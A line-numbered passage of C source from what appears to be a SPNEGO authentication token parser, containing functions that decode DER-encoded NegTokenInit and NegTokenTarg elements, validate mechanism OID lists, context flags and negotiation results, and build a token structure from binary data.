| 1225 | // Initialize the element now 1226 | pSpnegoElement->eElementType = spnegoElementType; 1227 | pSpnegoElement->iElementPresent = SPNEGO_TOKEN_ELEMENT_AVAILABLE; 1228 | pSpnegoElement->type = OID; 1229 | pSpnegoElement->nDatalength = nElementLength; 1230 | pSpnegoElement->pbData = pbTokenData; 1231 | } 1232 | 1233 | } // IF type makes sense 1234 | 1235 | return nReturn; 1236 | } 1237 | 1238 | 1239 | ///////////////////////////////////////////////////////////////////////////// 1240 | // 1241 | // Function: 1242 | // InitSpnegoTokenElements 1243 | // 1244 | // Parameters: 1245 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN struct 1246 | // [in] pbTokenData - Points to initial binary element 1247 | // data in a SPNEGO token. 1248 | // [in] nRemainingTokenLength - Length remaining past header 1249 | // 1250 | // Returns: 1251 | // int Success - SPNEGO_E_SUCCESS 1252 | // Failure - SPNEGO API Error code 1253 | // 1254 | // Comments : 1255 | // Interprets the data at pbTokenData based on the TokenType in 1256 | // pSpnegoToken. Since some elements are optional (technically all are 1257 | // but the token becomes quite useless if this is so), we check if 1258 | // an element exists before filling out the element in the array. 1259 | // 1260 | //////////////////////////////////////////////////////////////////////////// 1261 | 1262 | int InitSpnegoTokenElements(SPNEGO_TOKEN* pSpnegoToken, unsigned char* pbTokenData, 1263 | long nRemainingTokenLength) 1264 | { 1265 | // 1266 | // The following arrays contain the token identifiers for the elements 1267 | // comprising the actual token. All values are optional, and there are 1268 | // no defaults. 1269 | // 1270 | 1271 | static unsigned char abNegTokenInitElements[] = 1272 | { SPNEGO_NEGINIT_ELEMENT_MECHTYPES, SPNEGO_NEGINIT_ELEMENT_REQFLAGS, 1273 | SPNEGO_NEGINIT_ELEMENT_MECHTOKEN, SPNEGO_NEGINIT_ELEMENT_MECHLISTMIC }; 1274 | 1275 | static unsigned char abNegTokenTargElements[] = 1276 | { SPNEGO_NEGTARG_ELEMENT_NEGRESULT, SPNEGO_NEGTARG_ELEMENT_SUPPORTEDMECH, 1277 | SPNEGO_NEGTARG_ELEMENT_RESPONSETOKEN, SPNEGO_NEGTARG_ELEMENT_MECHLISTMIC }; 1278 | 1279 | int nReturn = SPNEGO_E_SUCCESS; 1280 | int nCtr = 0L; 1281 | long nElementLength = 0L; 1282 | long nActualTokenLength = 0L; 1283 | unsigned char* pbElements = NULL; 1284 | unsigned char* ptok; 1285 | long tlen, elen, len; 1286 | 1287 | // Point to the correct array 1288 | switch (pSpnegoToken->ucTokenType) 1289 | { 1290 | case SPNEGO_TOKEN_INIT: 1291 | { 1292 | pbElements = abNegTokenInitElements; 1293 | } 1294 | break; 1295 | 1296 | case SPNEGO_TOKEN_TARG: 1297 | { 1298 | pbElements = abNegTokenTargElements; 1299 | } 1300 | break; 1301 | 1302 | } // SWITCH tokentype 1303 | 1304 | // 1305 | // Enumerate the element arrays and look for the tokens at our current location 1306 | // 1307 | 1308 | for (nCtr = 0L; 1309 | SPNEGO_E_SUCCESS == nReturn && 1310 | nCtr < MAX_NUM_TOKEN_ELEMENTS && 1311 | nRemainingTokenLength > 0L; 1312 | nCtr++) 1313 | { 1314 | 1315 | // Check if the token exists 1316 | if ((nReturn = ASNDerCheckToken(pbTokenData, pbElements[nCtr], 1317 | 0L, nRemainingTokenLength, 1318 | &nElementLength, &nActualTokenLength)) 1319 | == SPNEGO_E_SUCCESS) 1320 | { 1321 | 1322 | // Token data should skip over the sequence token and then 1323 | // call the appropriate function to initialize the element 1324 | pbTokenData += nActualTokenLength; 1325 | 1326 | // Lengths in the elements should NOT go beyond the element 1327 | // length 1328 | 1329 | // Different tokens mean different elements 1330 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType) 1331 | { 1332 | 1333 | // Handle each element as appropriate 1334 | switch (pbElements[nCtr]) 1335 | { 1336 | 1337 | case SPNEGO_NEGINIT_ELEMENT_MECHTYPES: 1338 | { 1339 | // 1340 | // This is a Mech List that specifies which OIDs the 1341 | // originator of the Init Token supports. 1342 | // 1343 | 1344 | nReturn = GetSpnegoInitTokenMechList(pbTokenData, nElementLength, 1345 | &pSpnegoToken->aElementArray[nCtr]); 1346 | 1347 | } 1348 | break; 1349 | 1350 | case SPNEGO_NEGINIT_ELEMENT_REQFLAGS: 1351 | { 1352 | // 1353 | // This is a BITSTRING which specifies the flags that the receiver 1354 | // pass to the gss_accept_sec_context() function. 1355 | // 1356 | 1357 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength, 1358 | BITSTRING, spnego_init_reqFlags, 1359 | &pSpnegoToken->aElementArray[nCtr]); 1360 | } 1361 | break; 1362 | 1363 | case SPNEGO_NEGINIT_ELEMENT_MECHTOKEN: 1364 | { 1365 | // 1366 | // This is an OCTETSTRING which contains a GSSAPI token corresponding 1367 | // to the first OID in the MechList. 1368 | // 1369 | 1370 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength, 1371 | OCTETSTRING, spnego_init_mechToken, 1372 | &pSpnegoToken->aElementArray[nCtr]); 1373 | } 1374 | break; 1375 | 1376 | case SPNEGO_NEGINIT_ELEMENT_MECHLISTMIC: 1377 | { 1378 | // 1379 | // This is an OCTETSTRING which contains a message integrity BLOB. 1380 | // 1381 | 1382 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength, 1383 | OCTETSTRING, spnego_init_mechListMIC, 1384 | &pSpnegoToken->aElementArray[nCtr]); 1385 | /* 1386 | * don't believe everything you read in RFCs (and MS 1387 | * sample code)... win2k is sending not an octet string, 1388 | * but a "general string", wrapped in a sequence. 1389 | */ 1390 | if (nReturn != SPNEGO_E_UNEXPECTED_TYPE) 1391 | break; 1392 | ptok = pbTokenData; 1393 | elen = nElementLength; 1394 | if ((nReturn = ASNDerCheckToken(ptok, SPNEGO_CONSTRUCTED_SEQUENCE, elen, elen, &len, &tlen)) != SPNEGO_E_SUCCESS) 1395 | break; 1396 | elen -= tlen; 1397 | ptok += tlen; 1398 | 1399 | if ((nReturn = ASNDerCheckToken(ptok, SEQ_ELM(0), elen, elen, &len, &tlen)) != SPNEGO_E_SUCCESS) 1400 | break; 1401 | elen -= tlen; 1402 | ptok += tlen; 1403 | nReturn = InitSpnegoTokenElementFromBasicType(ptok, elen, GENERALSTR, spnego_init_mechListMIC, &pSpnegoToken->aElementArray[nCtr]); 1404 | } 1405 | break; 1406 | 1407 | } // SWITCH Element 1408 | } 1409 | else 1410 | { 1411 | 1412 | switch (pbElements[nCtr]) 1413 | { 1414 | 1415 | case SPNEGO_NEGTARG_ELEMENT_NEGRESULT: 1416 | { 1417 | // 1418 | // This is an ENUMERATION which specifies result of the last GSS 1419 | // token negotiation call. 1420 | // 1421 | 1422 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength, 1423 | ENUMERATED, spnego_targ_negResult, 1424 | &pSpnegoToken->aElementArray[nCtr]); 1425 | } 1426 | break; 1427 | 1428 | case SPNEGO_NEGTARG_ELEMENT_SUPPORTEDMECH: 1429 | { 1430 | // 1431 | // This is an OID which specifies a supported mechanism. 1432 | // 1433 | 1434 | nReturn = InitSpnegoTokenElementFromOID(pbTokenData, nElementLength, 1435 | spnego_targ_mechListMIC, 1436 | &pSpnegoToken->aElementArray[nCtr]); 1437 | } 1438 | break; 1439 | 1440 | case SPNEGO_NEGTARG_ELEMENT_RESPONSETOKEN: 1441 | { 1442 | // 1443 | // This is an OCTETSTRING which specifies results of the last GSS 1444 | // token negotiation call. 1445 | // 1446 | 1447 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength, 1448 | OCTETSTRING, spnego_targ_responseToken, 1449 | &pSpnegoToken->aElementArray[nCtr]); 1450 | } 1451 | break; 1452 | 1453 | case SPNEGO_NEGTARG_ELEMENT_MECHLISTMIC: 1454 | { 1455 | // 1456 | // This is an OCTETSTRING which specifies a message integrity BLOB. 1457 | // 1458 | 1459 | nReturn = InitSpnegoTokenElementFromBasicType(pbTokenData, nElementLength, 1460 | OCTETSTRING, spnego_targ_mechListMIC, 1461 | &pSpnegoToken->aElementArray[nCtr]); 1462 | } 1463 | break; 1464 | 1465 | } // SWITCH Element 1466 | 1467 | } // ELSE !NegTokenInit 1468 | 1469 | // Account for the entire token and following data 1470 | nRemainingTokenLength -= (nActualTokenLength + nElementLength); 1471 | 1472 | // Token data should skip past the element length now 1473 | pbTokenData += nElementLength; 1474 | 1475 | } // IF Token found 1476 | else if (SPNEGO_E_TOKEN_NOT_FOUND == nReturn) 1477 | { 1478 | // For now, this is a benign error (remember, all elements are optional, so 1479 | // if we don't find one, it's okay). 1480 | 1481 | nReturn = SPNEGO_E_SUCCESS; 1482 | } 1483 | 1484 | } // FOR enum elements 1485 | 1486 | // 1487 | // We should always run down to 0 remaining bytes in the token. If not, we've got 1488 | // a bad token. 1489 | // 1490 | 1491 | if (SPNEGO_E_SUCCESS == nReturn && nRemainingTokenLength != 0L) 1492 | { 1493 | nReturn = SPNEGO_E_INVALID_TOKEN; 1494 | } 1495 | 1496 | return nReturn; 1497 | } 1498 | 1499 | 1500 | ///////////////////////////////////////////////////////////////////////////// 1501 | // 1502 | // Function: 1503 | // FindMechOIDInMechList 1504 | // 1505 | // Parameters: 1506 | // [in] pSpnegoElement - SPNEGO_ELEMENT for MechList 1507 | // [in] MechOID - OID we're looking for. 1508 | // [out] piMechTypeIndex - Index in the list where OID was 1509 | // found 1510 | // 1511 | // Returns: 1512 | // int Success - SPNEGO_E_SUCCESS 1513 | // Failure - SPNEGO API Error code 1514 | // 1515 | // Comments : 1516 | // Walks the MechList for MechOID. When it is found, the index in the 1517 | // list is written to piMechTypeIndex. 1518 | // 1519 | //////////////////////////////////////////////////////////////////////////// 1520 | 1521 | int FindMechOIDInMechList(SPNEGO_ELEMENT* pSpnegoElement, SPNEGO_MECH_OID MechOID, 1522 | int* piMechTypeIndex) 1523 | { 1524 | int nReturn = SPNEGO_E_NOT_FOUND; 1525 | int nCtr = 0; 1526 | long nLength = 0L; 1527 | long nBoundaryLength = pSpnegoElement->nDatalength; 1528 | unsigned char* pbMechListData = pSpnegoElement->pbData; 1529 | 1530 | while (SPNEGO_E_SUCCESS != nReturn && nBoundaryLength > 0L) 1531 | { 1532 | 1533 | // Use the helper function to check the OID 1534 | if ((nReturn = ASNDerCheckOID(pbMechListData, MechOID, nBoundaryLength, &nLength)) 1535 | == SPNEGO_E_SUCCESS) 1536 | { 1537 | *piMechTypeIndex = nCtr; 1538 | } 1539 | 1540 | // Adjust for the current OID 1541 | pbMechListData += nLength; 1542 | nBoundaryLength -= nLength; 1543 | nCtr++; 1544 | 1545 | } // WHILE enuming OIDs 1546 | 1547 | return nReturn; 1548 | 1549 | } 1550 | 1551 | 1552 | ///////////////////////////////////////////////////////////////////////////// 1553 | // 1554 | // Function: 1555 | // ValidateMechList 1556 | // 1557 | // Parameters: 1558 | // [in] pbMechListData - Pointer to binary MechList data 1559 | // [in] nBoundaryLength - Length we must not exceed 1560 | // 1561 | // Returns: 1562 | // int Success - SPNEGO_E_SUCCESS 1563 | // Failure - SPNEGO API Error code 1564 | // 1565 | // Comments : 1566 | // Checks the data at pbMechListData to see if it looks like a MechList. 1567 | // As part of this, we walk the list and ensure that none of the OIDs 1568 | // have a length that takes us outside of nBoundaryLength. 1569 | // 1570 | //////////////////////////////////////////////////////////////////////////// 1571 | 1572 | int ValidateMechList(unsigned char* pbMechListData, long nBoundaryLength) 1573 | { 1574 | int nReturn = SPNEGO_E_SUCCESS; 1575 | long nLength = 0L; 1576 | long nTokenLength = 0L; 1577 | 1578 | while (SPNEGO_E_SUCCESS == nReturn && nBoundaryLength > 0L) 1579 | { 1580 | // Verify that we have something that at least *looks* like an OID - in other 1581 | // words it has an OID identifier and specifies a length that doesn't go beyond 1582 | // the size of the list. 1583 | nReturn = ASNDerCheckToken(pbMechListData, OID, 0L, nBoundaryLength, 1584 | &nLength, &nTokenLength); 1585 | 1586 | // Adjust for the current OID 1587 | pbMechListData += (nLength + nTokenLength); 1588 | nBoundaryLength -= (nLength + nTokenLength); 1589 | 1590 | } // WHILE enuming OIDs 1591 | 1592 | return nReturn; 1593 | 1594 | } 1595 | 1596 | ///////////////////////////////////////////////////////////////////////////// 1597 | // 1598 | // Function: 1599 | // IsValidMechOid 1600 | // 1601 | // Parameters: 1602 | // [in] mechOid - mechOID id enumeration 1603 | // 1604 | // Returns: 1605 | // int Success - 1 1606 | // Failure - 0 1607 | // 1608 | // Comments : 1609 | // Checks for a valid mechOid value. 1610 | // 1611 | //////////////////////////////////////////////////////////////////////////// 1612 | 1613 | int IsValidMechOid(SPNEGO_MECH_OID mechOid) 1614 | { 1615 | return (mechOid >= spnego_mech_oid_Kerberos_V5_Legacy && 1616 | mechOid <= spnego_mech_oid_NTLMSSP); 1617 | } 1618 | 1619 | ///////////////////////////////////////////////////////////////////////////// 1620 | // 1621 | // Function: 1622 | // IsValidContextFlags 1623 | // 1624 | // Parameters: 1625 | // [in] ucContextFlags - ContextFlags value 1626 | // 1627 | // Returns: 1628 | // int Success - 1 1629 | // Failure - 0 1630 | // 1631 | // Comments : 1632 | // Checks for a valid ContextFlags value. 1633 | // 1634 | //////////////////////////////////////////////////////////////////////////// 1635 | 1636 | int IsValidContextFlags(unsigned char ucContextFlags) 1637 | { 1638 | // Mask out our valid bits. If there is anything leftover, this 1639 | // is not a valid value for Context Flags 1640 | return ((ucContextFlags & ~SPNEGO_NEGINIT_CONTEXT_MASK) == 0); 1641 | } 1642 | 1643 | ///////////////////////////////////////////////////////////////////////////// 1644 | // 1645 | // Function: 1646 | // IsValidNegResult 1647 | // 1648 | // Parameters: 1649 | // [in] negResult - NegResult value 1650 | // 1651 | // Returns: 1652 | // int Success - 1 1653 | // Failure - 0 1654 | // 1655 | // Comments : 1656 | // Checks for a valid NegResult value. 1657 | // 1658 | //////////////////////////////////////////////////////////////////////////// 1659 | 1660 | int IsValidNegResult(SPNEGO_NEGRESULT negResult) 1661 | { 1662 | return (negResult >= spnego_negresult_success && 1663 | negResult <= spnego_negresult_rejected); 1664 | } 1665 | 1666 | ///////////////////////////////////////////////////////////////////////////// 1667 | // 1668 | // Function: 1669 | // IsValidSpnegoToken 1670 | // 1671 | // Parameters: 1672 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN data structure 1673 | // 1674 | // Returns: 1675 | // int Success - 1 1676 | // Failure - 0 1677 | // 1678 | // Comments : 1679 | // Performs simple heuristic on location pointed to by pSpnegoToken. 1680 | // 1681 | //////////////////////////////////////////////////////////////////////////// 1682 | 1683 | int IsValidSpnegoToken(SPNEGO_TOKEN* pSpnegoToken) 1684 | { 1685 | int nReturn = 0; 1686 | 1687 | // Parameter should be non-NULL 1688 | if (NULL != pSpnegoToken) 1689 | { 1690 | // Length should be at least the size defined in the header 1691 | if (pSpnegoToken->nStructSize >= SPNEGO_TOKEN_SIZE) 1692 | { 1693 | // Number of elements should be >= our maximum - if it's greater, that's 1694 | // okay, since we'll only be accessing the elements up to MAX_NUM_TOKEN_ELEMENTS 1695 | if (pSpnegoToken->nNumElements >= MAX_NUM_TOKEN_ELEMENTS) 1696 | { 1697 | // Check for proper token type 1698 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType || 1699 | SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType) 1700 | { 1701 | nReturn = 1; 1702 | } 1703 | } 1704 | 1705 | } // IF struct size makes sense 1706 | 1707 | } // IF non-NULL spnego Token 1708 | 1709 | return nReturn; 1710 | } 1711 | 1712 | ///////////////////////////////////////////////////////////////////////////// 1713 | // 1714 | // Function: 1715 | // IsValidSpnegoElement 1716 | // 1717 | // Parameters: 1718 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN data structure 1719 | // [in] spnegoElement - spnegoElement Type from enumeration 1720 | // 1721 | // Returns: 1722 | // int Success - 1 1723 | // Failure - 0 1724 | // 1725 | // Comments : 1726 | // Checks that spnegoElement has a valid value and is appropriate for 1727 | // the SPNEGO token encapsulated by pSpnegoToken. 1728 | // 1729 | //////////////////////////////////////////////////////////////////////////// 1730 | 1731 | int IsValidSpnegoElement(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement) 1732 | { 1733 | int nReturn = 0; 1734 | 1735 | // Check boundaries 1736 | if (spnegoElement > spnego_element_min && 1737 | spnegoElement < spnego_element_max) 1738 | { 1739 | 1740 | // Check for appropriateness to token type 1741 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType) 1742 | { 1743 | nReturn = (spnegoElement >= spnego_init_mechtypes && 1744 | spnegoElement <= spnego_init_mechListMIC); 1745 | } 1746 | else 1747 | { 1748 | nReturn = (spnegoElement >= spnego_targ_negResult && 1749 | spnegoElement <= spnego_targ_mechListMIC); 1750 | } 1751 | 1752 | } // IF boundary conditions are met 1753 | 1754 | return nReturn; 1755 | } 1756 | 1757 | ///////////////////////////////////////////////////////////////////////////// 1758 | // 1759 | // Function: 1760 | // CalculateElementArrayIndex 1761 | // 1762 | // Parameters: 1763 | // [in] pSpnegoToken - Points to SPNEGO_TOKEN data structure 1764 | // [in] spnegoElement - spnegoElement Type from enumeration 1765 | // 1766 | // Returns: 1767 | // int index in the SPNEGO_TOKEN element array that the element can 1768 | // can be found 1769 | // 1770 | // Comments : 1771 | // Based on the Token Type, calculates the index in the element array 1772 | // at which the specified element can be found. 1773 | // 1774 | //////////////////////////////////////////////////////////////////////////// 1775 | 1776 | int CalculateElementArrayIndex(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement) 1777 | { 1778 | int nReturn = 0; 1779 | 1780 | // Offset is difference between value and initial element identifier 1781 | // (these differ based on ucTokenType) 1782 | 1783 | if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType) 1784 | { 1785 | nReturn = spnegoElement - spnego_init_mechtypes; 1786 | } 1787 | else 1788 | { 1789 | nReturn = spnegoElement - spnego_targ_negResult; 1790 | } 1791 | 1792 | return nReturn; 1793 | } 1794 | 1795 | ///////////////////////////////////////////////////////////////////////////// 1796 | // 1797 | // Function: 1798 | // InitTokenFromBinary 1799 | // 1800 | // Parameters: 1801 | // [in] ucCopyData - Flag indicating if data should be copied 1802 | // [in] ulFlags - Flags value for structure 1803 | // [in] pnTokenData - Binary Token Data 1804 | // [in] ulLength - Length of the data 1805 | // [out] ppSpnegoToken - Pointer to call allocated SPNEGO Token 1806 | // data structure 1807 | // 1808 | // Returns: 1809 | // int Success - SPNEGO_E_SUCCESS 1810 | // Failure - SPNEGO API Error code 1811 | // 1812 | // Comments : 1813 | // Allocates a SPNEGO_TOKEN data structure and fills it out as 1814 | // appropriate based in the flags passed into the function. 1815 | // 1816 | //////////////////////////////////////////////////////////////////////////// 1817 | 1818 | 1819 | // Initializes SPNEGO_TOKEN structure from DER encoded binary data 1820 | int InitTokenFromBinary(unsigned char ucCopyData, unsigned long ulFlags, 1821 | unsigned char* pbTokenData, unsigned long ulLength, 1822 | SPNEGO_TOKEN** ppSpnegoToken) 1823 | { 1824 | int nReturn = SPNEGO_E_INVALID_PARAMETER; 1825 | SPNEGO_TOKEN* pSpnegoToken = NULL; 1826 | unsigned char* pbFirstElement = NULL; 1827 | long nTokenLength = 0L; 1828 | long nRemainingTokenLength = 0L; 1829 | 1830 | // Basic Parameter Validation 1831 | 1832 | if (NULL != pbTokenData && 1833 | NULL != ppSpnegoToken && 1834 | 0L != ulLength) 1835 | { 1836 | 1837 | // 1838 | // Allocate the empty token, then initialize the data structure. 1839 | // 1840 | 1841 | pSpnegoToken = AllocEmptySpnegoToken(ucCopyData, ulFlags, pbTokenData, ulLength); 1842 | 1843 | if (NULL != pSpnegoToken) 1844 | { 1845 | 1846 | // Copy the binary data locally 1847 | 1848 | 1849 | // Initialize the token type 1850 | if ((nReturn = InitSpnegoTokenType(pSpnegoToken, &nTokenLength, 1851 | &nRemainingTokenLength, &pbFirstElement)) 1852 | == SPNEGO_E_SUCCESS) 1853 | { 1854 | 1855 | // Initialize the element array 1856 | if ((nReturn = InitSpnegoTokenElements(pSpnegoToken, pbFirstElement, 1857 | nRemainingTokenLength)) 1858 | == SPNEGO_E_SUCCESS) 1859 | { 1860 | *ppSpnegoToken = pSpnegoToken; 1861 | } 1862 | 1863 | } // IF Init Token Type 1864 | 1865 | // Cleanup on error condition 1866 | if (SPNEGO_E_SUCCESS != nReturn) 1867 | { 1868 | spnegoFreeData(pSpnegoToken); 1869 | } 1870 | 1871 | } 1872 | else 1873 | { 1874 | nReturn = SPNEGO_E_OUT_OF_MEMORY; 1875 | } 1876 | 1877 | } // IF Valid parameters 1878 | 1879 | 1880 | return nReturn; 1881 | } 1882 | --------------------------------------------------------------------------------